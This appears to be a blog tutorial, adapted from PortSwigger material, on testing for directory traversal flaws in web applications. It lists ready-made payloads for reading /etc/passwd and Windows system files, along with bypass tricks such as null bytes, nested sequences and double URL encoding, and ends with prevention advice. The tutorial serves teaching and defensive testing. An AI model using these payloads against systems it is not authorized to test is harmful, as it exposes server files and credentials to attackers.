Anytime that you notice the URL is calling on a file name, you should test to see if there is a directory traversal vulnerability.
Note: Majority of this content was taken from Portswigger Web Academy, but is not an exact copy/paste.
Table of Contents
- Table of Contents
- What is Directory Traversal?
- Testing for Directory Traversal
- Examples
- How to Prevent a Directory Traversal Attack
What is Directory Traversal?
Directory traversal (also known as file path traversal) is a web security vulnerability that allows an attacker to read arbitrary files on the server that is running an application. This might include application code and data, credentials for back-end systems, and sensitive operating system files. In some cases, an attacker might be able to write to arbitrary files on the server, allowing them to modify application data or behavior, and ultimately take full control of the server.
Testing for Directory Traversal
An easy way to test is to simply try and place ./ in front of the filename in the URL. If the page reloads and looks the same, and the special characters were not stripped out, it is a good indication that no filtering is taking place.
Common Directory Traversal Paths
- For Unix:
/../../../etc/passwd - For Windows:
..\..\..\windows\win.ini
Key Testing Payloads:
- See Example #1 –
../../../../../etc/passwd - See Example #1 –
/etc/passwd - See Example #2 –
/var/www/../../../etc/passwd - See Example #3 –
../../../etc/passwd%00 - See Example #3 –
../../../etc/passwd%00.png - See Example #4 –
....//....//....//etc/passwd - See Example #5 –
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd - See Example #5 –
%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66etc%25%32%66passwd
Examples
Example #1: Simple Case
Example: Say you have the following endpoint: http://example.com/file.php?file=hacker.png
We could update it to look like this. If the page reloads and the characters are still present in the browser, you likely have a directory traversal vulnerability present.http://example.com/file.php?file=./hacker.png
You can then try to read files on the system, such as /etc/passwd by going to the following URL.http://example.com/file.php?file=../../../../../etc/passwd
Another option may be to try just using the full path directly. http://example.com/file.php?file=/etc/passwd
Example #2: Validation of Start of Path
But what if the URL already included the full path? You may be tempted to go straight to the direct path of the file you’re looking for. However, the webserver may be configured to only server files that have a path that begin within a certain directory. Because of this, you may still need to use the above mentioned method for browsing the directory structure.
Example: Let’s say your vulnerable URL is below.http://example.com/file.php?file=/var/www/hacker.png
You may be tempted to go straight to the full path of the file you wish to view, but this could return nothing depending on how things are configured. Instead, you’d be better suited using the following URL.http://example.com/file.php?file=/var/www/../../../etc/passwd
Example #3: Using a Null Byte
In older versions of PHP, a null byte (represented as %00) can be used to effectively comment out and strip any file extension that the web application may append to the filename. This can be very helpful when trying to execute a file that uses a file extension that is different from what the web app is intended to serve.
Example: Let’s say your vulnerable URL is below.http://example.com/file.php?file=hacker
The webserver itself is adding the .png file extension to the end of the filename. This means that it is serving a file up in the present working directory named hacker.png.
This is problematic for us as hackers because we may want to read /etc/passwd (as an example) using the following URL.http://example.com/file.php?file=../../../etc/passwd
When we go to this, the webserver will append .png to the filename, which tries to take us to /etc/passwd.png. We can get around this by specifying our file extension, and then appending %00 to the request.http://example.com/file.php?file=../../../etc/passwd%00
In cases where the application does not automatically add the file extension, but checks to make sure it’s present, you may have to add it yourself. For example: http://example.com/file.php?file=../../../etc/passwd%00.png
Example #4: Traversal Sequences Stripped Non-Recursively
In some cases, the web application may strip out traversal sequences (such as ../../ or ..\..\). In those cases, you can place the traversal sequences inside of each other, so that a sequence is still left behind once stripped out.
Example: Let’s say your vulnerable URL is below.http://example.com/file.php?file=hacker
You may be able to get past this issue by using the following payload:http://example.com/file.php?file=....//....//....//etc/passwd
Example #5: Traversal Sequences Stripped with Superfluous URL-Decode
In some contexts, such as in a URL path or the filename parameter of a multipart/form-data request, web servers may strip any directory traversal sequences before passing your input to the application. You can sometimes bypass this kind of sanitization by URL encoding, or even double URL encoding, the ../ characters, resulting in %2e%2e%2f or %252e%252e%252f respectively. Various non-standard encodings, such as ..%c0%af or ..%ef%bc%8f, may also do the trick.
Example: Let’s say your vulnerable URL is below. http://example.com/image?filename=1.jpg
Trying to use the following payload may be blocked. http://example.com/image?filename=../../../../etc/passwd
But URL encoding the special characters may bypass the block. http://example.com/image?filename=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
If that doesn’t work, try double URL encoding it. http://example.com/image?filename=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66etc%25%32%66passwd
How to Prevent a Directory Traversal Attack
The most effective way to prevent file path traversal vulnerabilities is to avoid passing user-supplied input to filesystem APIs altogether. Many application functions that do this can be rewritten to deliver the same behavior in a safer way.
If it is considered unavoidable to pass user-supplied input to filesystem APIs, then two layers of defense should be used together to prevent attacks:
- The application should validate the user input before processing it. Ideally, the validation should compare against a whitelist of permitted values. If that isn’t possible for the required functionality, then the validation should verify that the input contains only permitted content, such as purely alphanumeric characters.
- After validating the supplied input, the application should append the input to the base directory and use a platform filesystem API to canonicalize the path. It should verify that the canonicalized path starts with the expected base directory.
Infinite Logins 